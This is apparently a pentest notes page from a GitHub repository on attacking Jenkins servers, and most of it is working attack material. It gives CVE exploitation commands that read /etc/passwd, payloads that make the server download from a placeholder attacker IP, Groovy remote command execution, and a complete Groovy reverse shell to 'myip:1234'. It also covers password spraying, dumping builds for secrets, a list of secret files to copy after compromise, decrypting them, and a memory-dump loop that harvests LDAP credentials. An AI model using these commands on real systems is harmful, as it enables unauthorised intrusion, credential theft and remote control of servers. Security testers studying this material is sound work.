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https://github.com/gquere/pwn_jenkins

Notes about attacking Jenkins servers
https://github.com/gquere/pwn_jenkins

exploit hacking jenkins pentest rce

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Notes about attacking Jenkins servers

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Remote Code Execution

=====================

Jenkins CLI arbitrary read (CVE-2024-23897 applies to versions below 2.442 and LTS 2.426.3)

-------------------------------------------

[Jenkins Advisory](https://www.jenkins.io/security/advisory/2024-01-24/), [Credits](https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/)



Authenticated, can retrieve a complete file:

```

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

```



Unauthenticated or missing Global/Read permissions, can only read 3 lines:

Read first line:

```

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

```

Read second line:

```

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

```

Read third line:

```

java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

```



[How to bruteforce the credential encryption key.](https://www.errno.fr/bruteforcing_CVE-2024-23897.html)



Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

---------------------------------------------------------------------------

Use [ysoserial](https://github.com/frohoff/ysoserial) to generate a payload.

Then RCE using [this script](./rce/jenkins_rce_cve-2015-8103_deser.py):



```bash

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out

./jenkins_rce.py jenkins_ip jenkins_port payload.out

```



Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

--------------------------------------------------------------

[Jenkins Advisory](https://jenkins.io/security/advisory/2018-12-05/)



Details [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).



If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:

```bash

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

```



Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

---------------------------------------------------------------------------------------------

[Jenkins Advisory](https://jenkins.io/security/advisory/2019-01-08)



Original RCE vulnerability [here](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html), full exploit [here](https://github.com/petercunha/jenkins-rce).



Alternative RCE with Overall/Read and Job/Configure permissions [here](https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc).



CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

---------------------------------------------------------------

[Jenkins Advisory](https://jenkins.io/security/advisory/2019-03-06/), [Credits](https://twitter.com/webpentest).



Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:

```bash

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

```

*Note: If you get a 403 error complaining about a missing crumb (which is a CSRF protection in Jenkins), you may be able to get the crumb value with a GET request to `https://example.com/crumbIssuer/api/json`. The crumb value shall then be added to the POST request in a `Jenkins-Crumb` Header.*



Execute arbitraty bash commands:

```bash

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

```



If you don't immediately get a reverse shell you can debug by throwing an exception:

```bash

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

```



Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)

----------------------------------------------------

[Jenkins Advisory](https://jenkins.io/security/advisory/2019-09-12/), [Credits](https://iwantmore.pizza/posts/cve-2019-10392.html).



This one will only work is a user has the 'Jobs/Configure' rights in the security matrix so it's very specific.



CorePlague (CVE-2023-27898, CVE-2023-27905)

-------------------------------------------

[Jenkins Advisory](https://www.jenkins.io/security/advisory/2023-03-08/), [Credits](https://blog.aquasec.com/jenkins-server-vulnerabilities)



Note that this is only exploitable if using a *dedicated* and out-of-date [Update Center](https://www.jenkins.io/templates/updates/). Therefore most servers are not vulnerable.



Dumping builds to find cleartext secrets

========================================

Use [this script](./dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.



```

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]

                              [-l] [-r] [-d] [-s] [-v]

                              url [url ...]



Dump all available info from Jenkins



positional arguments:

  url



optional arguments:

  -h, --help            show this help message and exit

  -u USER, --user USER

  -p PASSWORD, --password PASSWORD

  -o OUTPUT_DIR, --output-dir OUTPUT_DIR

  -l, --last            Dump only the last build of each job

  -r, --recover_from_failure

                        Recover from server failure, skip all existing

                        directories

  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)

  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for

                        each request (for legacy)

  -v, --verbose         Debug mode

```



Password spraying

=================



Use [this python script](./password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).



Files to copy after compromission

=================================



These files are needed to decrypt Jenkins secrets:



* secrets/master.key

* secrets/hudson.util.Secret



Such secrets can usually be found in:



* credentials.xml

* jobs/.../build.xml



Here's a regexp to find them:

```bash

grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

```



Dumping LDAP credentials on a compromised machine

=================================================



If Jenkins is configured to verify user credentials by relaying them to a LDAP (which is retarded, but a common vulnerability in companies) it's possible to recover these cleartext user credentials by dumping the Java process' memory.

Assuming PID 7 for the Jenkins server the following loop will perform a memory dump of the stack every 30 seconds:

```bash

head -n 1 /proc/7/maps

a=

b=

while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done

```

A small delay is important because the garbage collector will regularly free the credential structures.



Decrypt Jenkins secrets offline

===============================



Use [this script](./offline_decryption/jenkins_offline_decrypt.py) to decrypt previsously dumped secrets.



```

Usage:

	jenkins_offline_decrypt.py 

or:

	jenkins_offline_decrypt.py   [credentials.xml]

or:

	jenkins_offline_decrypt.py -i  (interactive mode)

```



Groovy Scripts

==============

Decrypt Jenkins secrets from Groovy

-----------------------------------



```java

println(hudson.util.Secret.decrypt("{...}"))

```



Command execution from Groovy

-----------------------------



```java

def proc = "id".execute();

def os = new StringBuffer();

proc.waitForProcessOutput(os, System.err);

println(os.toString());

```



Multiline shell command that can include pipes, redirects and stuff:



```java

def proc = ['bash', '-c', '''your_long_command_here'''].execute();

```



Automate it using [this script](./rce/jenkins_rce_admin_script.py).



Command execution on specific slave

-----------------------------------

By default execution happens on the master node. Use this script to execute on a specific slave:

```java

import hudson.util.RemotingDiagnostics

import jenkins.model.Jenkins



String agent_name = 'slave_name'



groovy_script = '''

def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();

def os = new StringBuffer();

proc.waitForProcessOutput(os, System.err);

println(os.toString());

'''



String result

Jenkins.instance.slaves.find { agent ->

    agent.name == agent_name

}.with { agent ->

    result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)

}

println result

```



Reverse shell from Groovy

-------------------------



```java

String host="myip";

int port=1234;

String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();



```



I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:



```bash

python -c 'import pty; pty.spawn("/bin/bash")'

^Z bg

stty -a

echo $TERM

stty raw -echo

fg

export TERM=...

stty rows xx columns yy

```